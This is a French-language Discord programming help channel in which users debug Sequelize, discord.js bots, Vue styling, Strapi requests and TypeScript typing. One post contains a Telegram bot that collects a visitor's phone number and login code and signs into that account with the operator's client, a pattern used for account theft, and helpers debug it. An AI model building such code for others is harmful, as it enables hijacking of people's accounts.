#javascript-typescript
1 messages · Page 20 of 1
mais jsp pourquoid mon bot rep plus et j'ais perdu bon badge
Rip
limite jte passe mon index.js et se que je fesais donc une commande update_bot et rich presence
att jfait un fil il risque d'avoir beaucoup de truc
Salut, est ce que si quelqu'un s'y connait un peu avec Sequelize saurait me dire pourquoi je n'arriverais pas à synchronisé mes models avec ma base de donnée ?
La connexion se fait mais les tables ne se créer pas. Je ne trouve absolument pourquoi. Voici un exemple d'un des models :
import {Sequelize, DataTypes} from "sequelize";
import sequelize from "../services/sequelize.js";
const user = sequelize.define('user', {
id: {
type: DataTypes.UUID,
defaultValue: DataTypes.UUIDV4,
primaryKey: true,
},
username: {
type: DataTypes.STRING,
allowNull: false,
unique: true,
},
displayName: {
type: DataTypes.STRING,
allowNull: false,
}
}, {});
export default user;
Et voici le fichier de configuration de sequelize :
import {Sequelize} from "sequelize";
import config from '../config.js';
const sequelize = new Sequelize(
config.db.name,
config.db.user,
config.db.password,
{
host: config.db.host,
dialect: 'postgres',
logging: false
}
);
sequelize.sync({alter: true, force: true})
.then(() => {
console.log('Table synced.');
})
.catch((error) => {
console.error('Error while syncing tables :', error);
});
export default sequelize;
Si quelqu'un aurait une idée, car je ne trouve vraiment pas...
Alors je dit peut-être une bêtise, mais je mettrais le sequelize sync dans l'app.js @gaunt merlin
Dans l'index tu veux dire ? (je l'ai appelé comme ça)
Non toujours rien... C'est incompréhensible... Je sens que c'est encore un petit truc de rien du tout mais j'arrive pas à trouver...
En fait j'ai le log qui dit "Table synced." donc logiquement la connexion est bonne... C'est les tables qui veulent pas se créer je sais pas pourquoi...
Active le logging pour voir
J'ai juste le log par défaut de "Executing (default): SELECT 1+1 AS result"
Fait voir ton indexjs
import express from 'express';
import {glob} from "glob";
import config from "./config.js";
// App from express
const app = express();
// API Routes
glob.sync('./routes/*').forEach(async (file) => {
app.use(process.env.BASE_PATH, (await import(`./${file}`)).default());
})
// Start express server
app.listen(config.app.port, () => {
console.log(`🚀 Server running on port ${config.app.port} `);
})
Je pense que c'est parce que le sync() de sequelize se fait avant le define() des models...
const { TelegramClient, Api } = require("telegram");
const { StringSession } = require("telegram/sessions");
const { PhoneNumberInvalidError } = require("telegram/errors");
const validator = require("validator");
const BOT_TOKEN = "";
const apiID = ;
const apiHash = "";
const bot = new Telegraf(BOT_TOKEN);
const client = new TelegramClient(new StringSession(""), apiID, apiHash, {
botToken: BOT_TOKEN
});
bot.start((ctx) => {
ctx.reply("Bienvenue ! Veuillez entrer votre numéro de téléphone :");
});
bot.hears(/.*/, async (ctx) => {
const phoneNumber = ctx.message.text.replace(/\D/g, ''); // Supprimer les caractères non numériques
if (validator.isMobilePhone(phoneNumber, "any")) {
try {
await client.connect({
phoneNumber: phoneNumber // Passer le numéro de téléphone correctement
});
const { phone_code_hash } = await client.invoke(
new Api.auth.SendCode({
phoneNumber: phoneNumber,
apiId: apiID,
apiHash: apiHash,
settings: new Api.CodeSettings(),
})
);
ctx.reply("Veuillez entrer le code de vérification :");
// Attendre la saisie du code de vérification par l'utilisateur
bot.hears(/.*/, async (ctx) => {
const verificationCode = ctx.message.text;
try {
const { user } = await client.invoke(
new Api.auth.SignIn({
phoneNumber: phoneNumber,
phoneCodeHash: phone_code_hash,
phoneCode: verificationCode
})
);
if (user) {
ctx.reply("Vous êtes connecté sur le compte avec succès !");
} else {
ctx.reply("Échec de la connexion. Veuillez vérifier le code de vérification.");
}
} catch (error) {
ctx.reply(`Erreur lors de la connexion : ${error}`);
}
});
} catch (error) {
ctx.reply(`Erreur lors de la connexion : ${error}`);
}
} else {
ctx.reply("Numéro de téléphone invalide !");
}
});
bot.startPolling();```
Bonsoir, Lorsque je met mon numéro de téléphone, je reçois bien un code de vérification donc je le rentre sur le bot mais il reste bloqué sur l'étape ou il me demande de rentrer mon num
pourtant sur la console log de la module gramjs ça m'indique que je suis co
This should set you up in no time!
Documentation for telegraf.js - v4.12.2
Ta un gros problème de structure dans ton code, déjà tes pas sensé avoir 2 bot.hears avec le même filtre il me semble
j'ai du coup mis bot.command et ça m'a l'air de marcher mais le bot me confirme pas que mon compte s'est bien connecté comme
if (user) { ctx.reply("Vous êtes connecté sur le compte avec succès !"); }
pas de msg d'erreur ?
va si après j'ai jamais use l'api telegram
Bonjour, j'ai un petit problème sur mon programme js, je code un mini jeu style jeu des allumettes et je passe par un input pour faire une interaction entre utilisateur et programme mais je voudrais que mon programme attende à chaque fois qu'une donnée soit retourné pour continuer mon programme actuellement il ne fait que de boucler et cela fait totalement planter mon site auriez vous une solution ou une partie d'idée sur lequel je pourrais me renseigner ? (je ne sais pas si je suis très claire donc en cas de manque d'infos vous pouvez me mentionner)
Utilise le asyc/await :)
Ok merci je vais me renseigner sur ce sujet
async ?
Si la fonction n'est pas asynchrone, tu ne peux pas utiliser le await ^^
Yop les gueux ! ✌️
Dites j'aurais besoin que l'ont m'éclaire :
Dans une simple fonction For avec VueJS, j'aimerais récupérer l'index de l'ingredient dans le tableau, un peux comme si on ferais for(i = 0; i<10; i++) et qu'on récupérait i à chaque itérations.
Code :
c'est + lisible comme ça :
Et tu ne sais pas si ce serait possible, admettons, avec cet index, en css, de pouvoir gérer le z-index soit via une class ou un id mais dynamiquement sans faire #1 #2 etc .... ?
En gros pour expliquer, comme tu le vois dans le code au dessus, j'aurais plusieurs LI suivant les ingrédients sélectionné, mais les li se mettent au dessus du précèdent (je sais pas si tu arrive à me suivre) hors je voudrais l'inverse donc gérer ça avec le Z-index en CSS
Bah si tu peux utiliser les donnés de ton index dans ton :style
Par exemple, un equivalent de ```css
&.nth-child({{ index + 1 }}){
blablabla
}
Yep, faudrais que je trouve un moyen de faire en sorte que ça fasse un index déscendant genre 5 - 4 - 3 - 2 - 1
Pourquoi je me prend la tête
Parfait ça marche merci 🤣
(On va dire que c'est le matin hein)
Je suis en train de faire une usine à gaz en terme de code juste pour ça :
(Je n'ai pas encore enlevé le code inutile et corrigé ce que je pourrais mieux faire)
Du coup j'ai encore un peu de boulot pour avoir ce résultat mais le plus chiant c'était l'animation du burger (Maquette dynamique AdobeXD)
D'ailleurs, je n'ai pas respecté pour l'animation du bouton car c'était trop casse tête, et mon Container principale je l'ai foutu en display Grid
c'est tres propre
Mon code est propre ou le rendu ? 😄
On est d'accord 🤣
Merci 😉
Je l'ai mis en codeSnap le component car trop de lignes pour Discord 🤣
Mais ça vas j'ai pas énormément galéré à le faire, juste quelques blocage du au réveil difficile que j'ai pu régler grâce à Lucky
J'avais totalement zappé que je pouvais faire du style conditionnel directement dans mon component
Yop, comment tu fais des images comme ça ? C'est une extension vsc ? :p
Yep, c'est CodeSnap 🙂
ow
Il te fait une image du code sélectionné, et tu clique sur ce que j'ai encadré pour sauvegarder l'image :
Oui mais y'a le contour blanc
Attends mais toi c'est en couleur
Ah oui non ok j'ai tester sur du code commenté
Bête je suis
c'est quoi ton color theme ?
Ah mais tu peux changer les paramêtres de l'extension pour changer en PNG et avoir un fond transparent
Euh ..... du code ou de codesnap ?
bah c'est le meme
mmh, le background color ?
codesnap prend ton theme
Et @keen narwhal c'est Andromeda'84 mon thème
Je l'aime bien, et je trouve qu'il fonctionne bien (Je dev principalement du Javascript)
mmh, y'a pas un bouton pour enregistrer ? ça n'a pas l'air de marcher
Ou alors faut restart vsc
Celui là 😉
Je l'ai dis ici : #javascript-typescript message
Il te fait une image du code sélectionné, et tu clique sur ce que j'ai encadré pour sauvegarder l'image : 
Ce message contient également une image, visible à droite de l'embed.
➜ [Voir le message original](#javascript-typescript message)
Pas de soucis 😄
J'aime bien cette extension je trouve ça classe, pour faire des documentations, ou comme moi pour faire des dossiers c'est intéressant
const embed = new EmbedBuilder()
.setColor("#2ECC71")
.setImage(guild.iconURL()!)
.setTitle(`• Informations du serveur`)
.setDescription(`
**• Owner »** <@${owner.id}>
**• ID »** \`${guild.id}\`
**• Modération »** \`${guild.mfaLevel}\`
**• Analyse médias »** \`${guild.explicitContentFilter}\`
\n
**• Créé le »** \`${guild.createdAt.toLocaleDateString("fr-FR")}\`
**• Salon AFK »** \`${guild.afkChannel ? guild.afkChannel.name : "Aucun"}\`
`)
.addFields(
{
name: "Guild",
value: `
> **• Boost »** \`${guild.premiumSubscriptionCount}\`
> **• Emojis »** \`${guild.emojis.cache.size}\`
> **• Stickers »** \`${guild.stickers.cache.size}\`
> **• Channels »** \`${guild.channels.cache.size}\`
> **• Roles »** \`${guild.roles.cache.size}\`
> **• Membres »** \`${guild.memberCount}\`
`,
inline: true
},
{
name: "Members",
value: `
> **• Humains »** \`${guild.members.cache.filter(m => !m.user.bot).size}\`
> **• Bots »** \`${guild.members.cache.filter(m => m.user.bot).size}\`
> **• Offline »** \`${guild.members.cache.filter(m => m.presence?.status === "offline").size}\`
> **• Online »** \`${guild.members.cache.filter(m => m.presence?.status === "online").size}\`
> **• Idle »** \`${guild.members.cache.filter(m => m.presence?.status === "dnd").size}\`
> **• DND »** \`${guild.members.cache.filter(m => m.presence?.status === "idle").size}\`
`,
inline: true
},
)
Yo quelqu'un saurait me dire pourquoi le setImage ne fonctionne pas ?
voilà
Bah nan ?
le point d'exclamation te gène pas genre ?
non mais t'as mis un point d'exclamation ici
Oui
Mais pourquoi ?
C'est pour éviter de devoir faire un if(!guild.iconURL()) return
et justement non
la guild n'en aura pas forcément
Ah bon ?
Oh fuck je pensais que c'était une iconURL aussi ca
que y'avais moyen de la récup
c'est relou ca un peu
bon bah ducoup mon setImage fonctionne c'est juste que y'a pas d'icon sur ma guild de test
merci
En général quand un champ est typé d'une certaine manière, il y a une certaine raison x)
Mouais le typage de Djs est nul a chier parfois
Bonsoir,
Qui pourrai m'aider j'ai un soucis, j'ai une command giveaway pour discord qui fonctionne bien sauf un soucis.
Le soucis c'est que la liste des participants mes que les id est non les Pseudo comme sur les screen que j'ai envoyez.
Avec le code c'est souvent mieux
<@>
Bonjour j'ai besoin d'aide
Ok
mdr
Avec ejs sur une page nommé dash j'affiche la liste des serveurs de l'utilisateur mais j'aimerais afficher seulement la liste des servuers ou il a la permissions admin comment faire svp ?
tu as un champ owner sur la guild normalement
et aussi un champ permissions
donc tu peux te servir des 2
Comment faire la conditions pour filtrer les serveur ou le user a la perm admin?
Merci mais la page devient vide elle n'affiche plus les serveurs
<% guilds.forEach(guild => { %>
<% if(guild.ownerId == user.id) { %>
<div class="col">
<div class="serv">
<img class="serv-icon" src="https://cdn.discordapp.com/icons/<%= guild.id %>/<%= guild.icon %>.png" alt="<%= guild.name %> icon" />
<br />
<p><%= guild.name %></p>
</div>
</div>
<% } %>
<% }); %>```
en se moment tu fais juste reguardes si c'est le owner
il faut que tu check les perm
aussi
check si il est admin
Comment
if(guild.members.fetch(user.id).permissions.has('ADMINISTRATOR') )
Cannot read properties of undefined (reading 'fetch')
perso je fais pas de discord js j'ai juste repondu en me bassant sur la doc de discord
mais
en regardant en ligne
👍
la Perm pour admin c'est un peu spécial
c'est un chiffre très long 😂
c'est pas juste 8
Yep même si j'ai la perm admin sa ne marche pas
mdr c'est l'ensemble des autres perm
c'est genre 2103.... et plein de chiffre derrière
ce que je te conseille c'est de debugger en regardant le permission bitflag afin que tu vois c'est quel chiffre pour admin
Discord.js
Ouais pas l'api
bonjour ou bonsoir pourquoi sa envoie aucun message quand quelqu'un rejoint ?
CODE
const { EmbedBuilder } = require("discord.js");
module.exports = {
name: 'guildMemberAdd',
async execute(client, channels, member, ) {
console.log(`Salut, je suis ${client.user.tag}\n`);
channels.reply(`Salut, je suis ${client.user.tag}`)
},
};
tu as une erreur ?
peu importe
ok
en gros ils disent que channels.reply c'est pas une fonction
dcp jsp comment faire
C'est normal
y'a pas de paramètre channels déjà
pour envoyer un message dans un channel :
client.channels.cache.get('ID_DU_CHANNEL').send('Salut !')
merci j'allais mettre guild a la place de channels jsp si sa allait macher
ton .reply() marcherait sur un message
redis moi si 'cest bon
ok
une erreur :
ERREUR
at callListener (C:\Users\asmam\.vscode\AylanBot\node_modules\ws\lib\event-target.js:290:14)
at WebSocket.onMessage (C:\Users\asmam\.vscode\AylanBot\node_modules\ws\lib\event-target.js:209:9)
at WebSocket.emit (node:events:513:28)
Emitted 'error' event on Client instance at:
at emitUnhandledRejectionOrErr (node:events:394:10)
at process.processTicksAndRejections (node:internal/process/task_queues:84:21)
Tu peux nous montrer ce que tu a fait ?
Non juste ce que tu a changer
ok
client.channels.cache.get('1079881958349348904').send(${client.user.tag} a rejoint le serveur dis lui bienvenue !)
D'acc tu peux envoyer le code entier du fichier
ok
const { EmbedBuilder } = require("discord.js");
module.exports = {
name: 'guildMemberAdd',
async execute(client, channels, member, ) {
console.log(`Salut, je suis ${client.user.tag}\n`);
client.channels.cache.get('1079881958349348904').send(`${client.user.tag} a rejoint le serveur dis lui bienvenue !`)
},
};
Es ce que tu sais ce que tu récupère en argument quand l'event se déclenche ?
comment ca en argument désolé ca fait longtemps que jai pas dev
@frosty sand explique tu veux faire quoi ?
un message de bienvenue
La tu envoi le pseudo du bot dans ton code
non
si
dans mon console.log si je retire le client.channels etc sa met la personne qui rejoint
client.user.tag = pseudo du bot + son tag
dcp je met member.user.tag ?
le client dans client.channels.cache doit être ton bot et pas le membre qui a rejoint
De plus channels et member ne servent a rien
const { EmbedBuilder } = require("discord.js");
module.exports = {
name: 'guildMemberAdd',
async execute(client, member) {
console.log(`Salut, je suis ${member.displayName}\n`);
member.guild.channels.cache.get("1079881958349348904").send(`${member} a rejoint le serveur dis lui bienvenue !`)
},
};
merci
je teste sa et je te dis
aucun message d'erreur mais aucun message
att je regarde si l'id c'est le bon
console.log fonctionne ?
rien
T'as sauvegarder les modifications ?
oui
et il faut relancer aussi
je sais
Essaye de console log client et member au début de ta fonction pour voir ce qu'il te renvoi
v18.14.2
Version discord.js pas node
comment on voit ?
package.json
14.8.0
Je peux voir ton main ?
index.js ?
oui
const { Client, GatewayIntentBits, Collection } = require('discord.js');;
const bot = new Client({
intents: [
GatewayIntentBits.Guilds,
GatewayIntentBits.GuildPresences,
GatewayIntentBits.GuildMessageReactions,
GatewayIntentBits.GuildMessages,
GatewayIntentBits.MessageContent,
GatewayIntentBits.GuildMembers,
GatewayIntentBits.GuildVoiceStates,
]
})
bot.commands = new Collection();
bot.config = require('./config');
require('./src/Structure/Handler/Events')(bot)
require('./src/Structure/Handler/Command')(bot)
bot.login(bot.config.token)
un peu petit
Je peux voir le handler de ton event ?
ok
const fs = require("fs")
module.exports = async (bot) => {
const eventFiles = fs.readdirSync('./src/Events/').filter(f => f.endsWith('.js'));
for (const file of eventFiles) {
const event = require(`../../Events/${file}`);
if (event.once) {
bot.once(event.name, (...args) => event.execute(...args, bot))
console.log(`L'event ${file} à été chargé avec succès !`);
} else {
bot.on(event.name, (...args) => event.execute(...args, bot))
console.log(`L'event ${file} à été chargé avec succès !`);
}
}
const eventSubFolders = fs.readdirSync('./src/Events/').filter(f => !f.endsWith('.js'));
eventSubFolders.forEach(folder => {
const eventFiles = fs.readdirSync(`./src/Events/${folder}/`).filter(f => f.endsWith('.js'))
for(const file of eventFiles) {
const event = require(`../../Events/${folder}/${file}`)
if (event.once) {
bot.once(event.name, (...args) => event.execute(...args, bot))
console.log(`L'event ${file} à été chargé avec succès depuis ${folder} !`);
} else {
bot.on(event.name, (...args) => event.execute(...args, bot))
console.log(`L'event ${file} à été chargé avec succès depuis ${folder}!`);
}
}
})
}```
Ton event a bien été chargé ?
oui
Essaye sa dans ton main ou index.js
//Message Bienvenue
bot.on("guildMemberAdd", member => {
let bv = new Discord.EmbedBuilder()
.setTitle("**__Nouveau Membre !__**")
.setDescription(`**${member.user} est arrivè ! Dites lui bonjour !**`)
.setThumbnail(member.displayAvatarURL())
.setColor("#00acff")
.setImage("image que tu veux")
bot.channels.cache.get("ton channel").send({embeds: [bv]})
})```
ah merci
Car ta mis client.channels.cache.get au lieux de bot.channels.cache.get
Salut les gars un dev react sait pourquoi mon state ne rerender pas la page quand je le set depuis une fonction d'un event onClick ?
il faudrait du code
import { NextApiRequest, NextApiResponse } from 'next';
export default async function handler(req: NextApiRequest, res: NextApiResponse) {
if (req.method === 'GET') {
try {
const response = await fetch('https://discord.com/api/v10/users/@me/guilds', {
headers: {
Authorization: `Bot ${process.env.BOT_TOKEN}`,
},
});
if (response.ok) {
const guilds = await response.json();
const numGuilds = guilds.length;
let totalMembers = 0;
for (const guild of guilds) {
const guildId = guild.id;
const guildResponse = await fetch(`https://discord.com/api/v10/guilds/${guildId}`, {
headers: {
Authorization: `Bot ${process.env.BOT_TOKEN}`,
},
});
const guildData = await guildResponse.json();
totalMembers += guildData.approximate_member_count;
console.log(`Guild: ${guildId}, Member Count: ${guildData.approximate_member_count}`);
}
console.log(`Number of Guilds: ${numGuilds}, Total Members: ${totalMembers}`);
res.status(200).json({
numGuilds,
totalMembers,
});
} else {
const errorData = await response.json();
console.log(`API Error: ${errorData}`);
res.status(response.status).json({ error: errorData });
}
} catch (error) {
console.error('An error occurred:', error);
res.status(500).json({ error: 'An error occurred' });
}
}
}
Salut, j'ai un souci avec ce code je n'arrive pas a choper le nombre de guild du bot
Guild: 721361625747030027, Member Count: undefined
Guild: 987298210617892864, Member Count: undefined
Guild: 1085677476530901082, Member Count: undefined
c'est régler
J'avais oublié : ?with_counts=true
vous me conseillerai quoi pour commencer à apprendre correctement le js?
tu pars de 0 ou tu as déjà des bases ?
La documentation de mozilla à de bonne explications des différentes propriétés, mais pour ce qui est de l'apprendre w3school Propose des exercices de souvenir
j'ai quelque base avec un bot js mais la je pars sur du web
W3school DOM
yes hésites pas à suivre quelques séries de cours, pourquoi pas des petits jeux sympa aussi, c'est du déjà vu mais c'est tjrs sympa d'apprendre sur des projets intéractifs, comme un puissance 4, tic tac toe etc...
@slim anvil pour ton portfolio tu as fais une maquette avant de commencer à dev ?
oui la maquette était déjà prête avant
Je veux apprendre à faire des maquettes tu conseils quoi ?
je sais pas si je serai le mieux placer pour répondre, mais je dirai de beaucoup practice, d'essayer de rester à jour sur les tendances actuelles
dans un premier temps
Thx
Bonjour j'aimerais créer un bot discord en ts via des handlers, j'ai regarder un peu comment cela ce passer en suivant un tuto, j'ai réussi a créer mes handler command et event, mais je n'arrive pas a créer celui pour les components (boutton, selectMenu et modal) pourriez vous m'aider s'il vous plait, merci 😁
ça fonctionne de la même manière nan ?
je sais pas je n'arrive pas a le faire fonctionner 😅
Quesque c'est mal opti de faire des handlers
Une erreur?
non justement rien du tout, j'utilise un fichier de définition également, chose que je n'utiliser pas avant
explique 👀
Ca fonctionne avec de l'import a la volé et c'est vraiment pas fou même si c'est la manière la plus simple
https://github.com/RsMan-Dev/safia j'avais fais ce projet avec un ami c'est mieux
bah du coup c'est pas un handler de command que t'as fais
t'as fais un big switch xD
stp remplace moi ce switch par un Dict déjà
mais du coup c'est clairement pas comparable
en plus tu dis "de l'import a la volé" c'est ce que tu fais aussi, sauf que toi tu dois te faire chier a l'ajouter dans ton switch de l'enfer
alors qu'un auto-load des fichiers, au moins c'est réglé
oui
Un truc opti ce serait venir de load uniquement les fichiers lorsqu'ils sont appelés à la limite, mais franchement au final tu viendras toutes les loads quasi donc bon
Comme on a fait reste plus opti que comme font la 3/4 des gens mais ca demande un peu plus de galère a mettre en place, on a fait quelque test pour s'en rendre compte
après c'est pas pour ca que j'utilise plus Sheweny
Mais plus opti à quel moment
On se le demande
@keen narwhal
J'ai une PWA en VueJS qui utilise Vite, j'aimerai y ajouter un splashscreen, j'ai donc configuré le fichier vite.config.js de la manière ci dessous, mais rien n'y fait, il n'y a aucun splashscreen sur mon appareil IOS
hello, t’as bien la meta apple-mobile-web-app-capable d’ajouter ?
sois là mettre à la main sois tu peux l’ajouter directement dans ton vite config je crois
ah peut etre pas!
ˋ <meta name="apple-mobile-web-app-capable" content="yes" /> ˋ
essaye pour voir 🤔
au pire ça enlèvera une option
super le markdown, je suis sur tel désolé
haha pas de soucis merci deja pour ton aide
c'est pas une question d'opti, mais une question de lisibilité. Les handler ect ça dépend du FS et c'est foireux, fin javascript ça a toujours été foireux mais bon passons. En chargeant les fichier 1 à 1 Déjà tu t'assure de ne pas avoir d'erreur, et en TYPESCRIPT ?? 👀 Faire un handler, c'est un coup à péter le typage, en important correctement les Fichier aucune erreur de typage (Et pas besoin d'utiliser le unsafe "as")
Du coup c’est complètement un autre sujet, il me parlait du fait que c’était plus opti, je cherche encore ou du coup lool
Non mais il dit du caca 💩
Ça a rien avoir avec de l'opti niveau perf, à la limite c'est de l'opti pour éviter des bugs nul, et ne pas casser son typage (Ce qui pour le coup est utile)
J'ai arrêté d'utiliser les handler à cause de ça, le typage complètement cassé là
Mais faire de l’auto load si c’est bien fait y a pas non plus de soucis, je prend le cas de framework comme Next ou Nuxt, qui vont venir charger automatiquement tes fichiers de route pour venir le générer derrière ça n’a pas de soucis et ça ne casse pas non plus le typage, là c’est encore un sujet différent car ça va surtout dépendre de qui le fait et surtout comment
Dans le cas de Sheweny par exemple je ne sais pas si son typage est cassé ou non, donc je pourrai pas parler en son nom
Next / Nuxt c'est pas le développeur lambda qui la créer, mais toute une commu
c’est ce que je dis à la fin
conseiller un handler à quelqu'un de nouveau dans le dev je pense que c'est une mauvaise idée
donc c’est un sujet plus global à qui et comment ça se fait
Oui
Mais du coup dans son cas oui c’est nul de parler d’option
car si il parlait d’opti car ça vient pas load tous les files bah du coup si il les import derrière… si 
Typescript nous sauve bien la peau n'empêche avec ces imports dynamique
Que lorsque la feature est nécessaire, le fichier est importer
Perso je trouve ça génial 💡
Salut tout l'monde !
Dites j'ai un petit soucis d'API incompréhenssible ... 😅
Je bosse avec le CMS Strapi en back, et là actuellement je bosse sur la partie de création de burger de mon projet, et j'ai un petit soucis au moment d'enregistrer ma recette :
mon code : ```js
async saveRecipe() {
try {
//const url = process.env.NODE_ENV !== 'production' ? 'http://127.0.0.1:5200/api' : 'https://fatfood-api.creartcom.fr/api';
const token = this.authData.jwt;
const data = JSON.stringify({
"data": {
"name": this.recipeName,
"ingredients": this.recipe.map(recipe => recipe.id),
"creator": [this.authData.id],
"likes": 0
}
});
let config = {
method: 'post',
url: http://127.0.0.1:5200/api/recipes,
headers: {
'Content-Type': 'application/json',
'Authorization': Bearer ${token}
},
data : data
};
const response = await axios.request(config);
console.log(response.data);
this.recipeName = '';
this.saveMode = false;
} catch (error) {
console.error(error);
}
}
Donc c'est juste le code correspondant à ma requête, et en faite, j'ai une erreur **401**, alors que ... via Postman ça fonctionne nickel ... 😓
Ah et sur Postman, je POST exactement avec le même User du coup, je ne comprend pas la 401
C'est bon j'ai trouvé mon erreur, et c'est de ma faute x) ....
**Solution : ** L'erreur n'était pas dans la requête, mais dans mon localStorage, j'essai de push avec l'ID stocké en localStorage sauf que c'est l'ID discord != id en BDD 🤣
Tu feras gaffe mais à vu d'oeuil comme ça t'utilises OptionsAPI et en terme d'évolutivité tu vas surement te retrouvé bloqué quand les versions de Vue vont monté par conventions sur Vue 3 tu dois utiliser CompositionAPI
Et quand tu fais des calls API le mieux c'est de mettre tes liens en variables d'environnement pour pas avoir à les changer partout à chaque fois que tu changer l'adresse du back
Ah ouais aussi avec axios t'as pes besoin de faire axios.request(config)
Ouaip ça faut que j'y pense, ensuite, OptionsAPI j'en ai jamais entendu parlé, j'ai toujours utilisé Axios
tu peux faire un axios.get() post() etc
Options API c'est pas axios hein c'est la manière de faire ton code vue attend je t'envoie un doc
Ah les ref() je les utilise
J'ai qu'un exemple bidon sous la main dans ce composant mais : ```js
setup(){
const quantity = ref(1);
const total = ref(0 * quantity.value);
return {
quantity,
total
}
},
De toute façon ce projet je vais devoir le refacto, c'est juste que j'ai manqué de temps sur la fin donc j'ai "rush"
Car quand t'as un composant qui fait 496 lignes ... Bon normalement t'es sensé essayer de compartimenter ça 🤣
Si c'est celui qui a sur ton github les components que t'as fais passe les sur CompositionAPI
Ouaip c'est celui là, mais il faut que je fasse un Push car j'ai édité pas mal hier
Déjà rien que pour l'organisation de ton code ça sera plus claire
Hop + 483 insertions ... 🤣
Mais oui faut que je le refacto à mort dès que j'ai passé l'exam', je suis concsient de beaucoup de caca dans mon code
Pour certain, je vais mériter la pendaison je crois
Après bon, en terme de résultat, j'en suis fière (Certains boutons ne sont pas encore designé)
Bah non toujours pas ?
Les buttons à gauche sont super proche du logo et pas ceux de droite
Pourtant ...
Ah mais
Ah non c'est bon normalement, c'est du 2fr 1fr 2fr donc c'est sensé être centré, moi aussi j'ai une impression bizarre en le regardant depuis le début
En faite, il est bien centré, c'est juste que il y a un effet optique désagréable à cause du fait que les éléments de gauche soit proche du logo
Ouais bizarre en effet
Car ça c'est le css de ma nav (concernant le layout) : ```css
nav {
z-index: 999;
position: fixed;
display: grid;
grid-template-columns: 2fr 1fr 2fr;
height: 100px;
padding: 0 var(--center-padding);
box-shadow: 1px 1px 5px rgba(0, 0, 0, 0.1);
background: var(--mode-color);
@media screen and (max-width: 1024px) {
width: calc(100% - 80px);
padding: 0 40px;
display: flex;
flex-direction: row-reverse;
justify-content: space-between;
}
Et la var du padding ressemble à ça : --center-padding: calc((100vw - 1024px) / 2)
Ensuite là j'ai la version tablette et mobile :
Pour la version tablette, j'aurais inversé le "onivoid" et les trois trais du menu 👀
Ah oui ? J'ai fais ça par préférence 😄 (Je suis droitié et je navigue avec le pouce)
Oui tu n'as pas tors sur ce point 🤔
Après je t'avoue que la version mobile n'est pas opérationnelle à 100% j'ai pas toutes les pages responssives 🙃
yep tkt
Autant, pour la page d'accueil easy mais pour le créateur de recettes .... 😩
tu m'étonne 🤣
Je vais clairement en chier 🤣
Mais ça va, pour l'exam je vais être pardonné, je suis le seul Dev de la formation du coup je peux me permettre de mettre le responssive de la page création dans les perspectives d'évolution 🙃
D'ailleurs, si quelqu'un aurait un tuyeau pour unes de mes fonctionnalités :
Quand l'utilisateur enregiste sa recette (Screen 1), j'aimerais enregistré le rendu des images du burger composé pour la liste de burger publique (Screen 2)
Car pour le moment, j'ai mis des images fictives, mais ce serait mieux d'avoir les images de la recette
Sachant que mes images sont géré de cette façon :
(Je cherche de mon côté mais si quelqu'un l'a déjà fait je pose la question)
update : J'ai trouvé ça, je ne sais pas si quelqu'un saurait me dire si c'est bien ? https://html2canvas.hertzen.com
Bonjour pourriez vous m'aidez je n'arrive pas a envoyer de bouton a mon message, sur mes bot en js sa fonctionne mais la en ts sa me met une erreur voici le code et l'erreur
Merci beaucoup😁
Encore un problème de typage 
c'est a dire ? j'essaye d'apprendre le ts j'ai beaucoup de mal ^^

En faite je ne saurais pas t'aider car tout comme toi j'ai beaucoup de mal avec TS 🤣
En gros dans l'erreur c'est marqué que tu lui donne une variable de mauvais type
Donc il faut lui donner le bon type
Du coup ce que j'allais dire n'était pas une connerie 😮
dans types.d.ts ?
Tu fais la même chose que sur la page de recettes mais tu mets "creationMode" en false ?
Tu rajoute des : avec le type demandé
et du coup le type doit être quoi ? Bouton ? mais apres il faut définir ce type dans le fichier .d.ts non ? 😅
C'est dans l'erreur
J’ai la solution
Ah c'est ActionRowData
Mais j’suis sur téléphone bon laisser moi écrire tout ça
Oui mais sur la page recette je récupère les recettes stocké dans mon API, pour le moment j'y met une image fictive, mais par la suite dans mon API, pour chaques recettes j'aurais une entrée "picture", qui sera le screenshot du rendu de la recette, et en faite ma question c'est surtout : Est-ce que vous connaissez un moyen de faire un Screenshot d'un élément HTML en Javascript
Iradium Wait 2 minutes je t’envoie la solution
merci beaucoup ^^
Pas de soucis 😉
Mais du coup j'ai trouvé la solution
ok ok cool
En gros faut caster ton actionrowbuilder avec buttonBuilder
j'espère comprendre ce que tu va me donner, j'ai besoin du ts pour le taff mais j'ai pas encore commencer a apprendre x)
Courage ✊
J’allume mon pc et je te montre
merci beaucoup, la sa va être ma pause alors je vais aller manger, mais a 13h je suis de retour devant le pc 😅
oui je suis la ^^
const row = new ActionRowBuilder<ButtonBuilder>()
row.addComponents(
new ButtonBuilder()
.setCustomId("tes")
.setEmoji(tonemoji)
.setStyle(ButtonStyle.Primary)
)
interaction.channel.send({components: [row])}
donc il n'ya pas besoin de rajouter de definition dans le fichier .d.ts ?
d'accord car j'ai du typer pour les SlashCommand et les event ^^
ducoup ca marche ?
merci beaucoup oui sa fonctionne ^^
il faudra que je corrige mon componentsHandler avec les interactions mtn x)
merci beaucoup pour votre aide en tout cas ^^
Pas de souci j'ai tellement galérer avec djs et le ts au début que maintenant je connais tout
bah j'espere m'en sortir quand même, même si pour l'instant j'ai beaucoup de mal, le js sa va nickel mais je penser pas qu'il y'aurais une différence pareil entre js et ts x)
Une fois que tu t'y habitue c'est quand même sympa
hey je suis en train de relier mon bot a une db avec quick.db mais j'ai une erreur pouvez vpus m'aider svp
const { QuickDB, MySQLDriver } = require("quick.db");
(async () => {
const mysql = new MySQLDriver({
host: "localhost",
user: "nocteln",
password: "1234",
database: "not-bot",
});
// Important: Connect to MySQL server before using it
await mysql.connect();
const db = new QuickDB({ driver: mysql });
})();```
le module ‘mysql2/promise’ est required, mais tu ne l’as pas installé
maintentant j'ai sa
vérifie tes identifiants de connexion je dirais
nn jcrois c prcq g pas de db d'allumé
comment je peut en créer une?
c bon j'ai trouvé
Bonjour, c'est ici pour posé une question par rapport au dev bot discord?
yes
Oui ?
Voilà j'ai crée une commande de /suggest et celle ci ne marche pas ^^
J'ai aucun message d'erreur qui s'affiche dans ma console ::
Voleur
Issou
Flexeur
Essaie de débug avec des console.log()
Sa ne marche pas ^^
S'il ne marche pas, tente de lui ajouter des béquilles ou un fauteuil roulant 
Et s'il ne Fonctionne pas, la raison doit ce trouvé dans la console quand tu lance ton programme
J’ai réussi à crée le code, je reçois bien le message comme quoi la suggestion a était envoyer mais j’ai rien le Channel spécifie
à créer le code ?
La commande
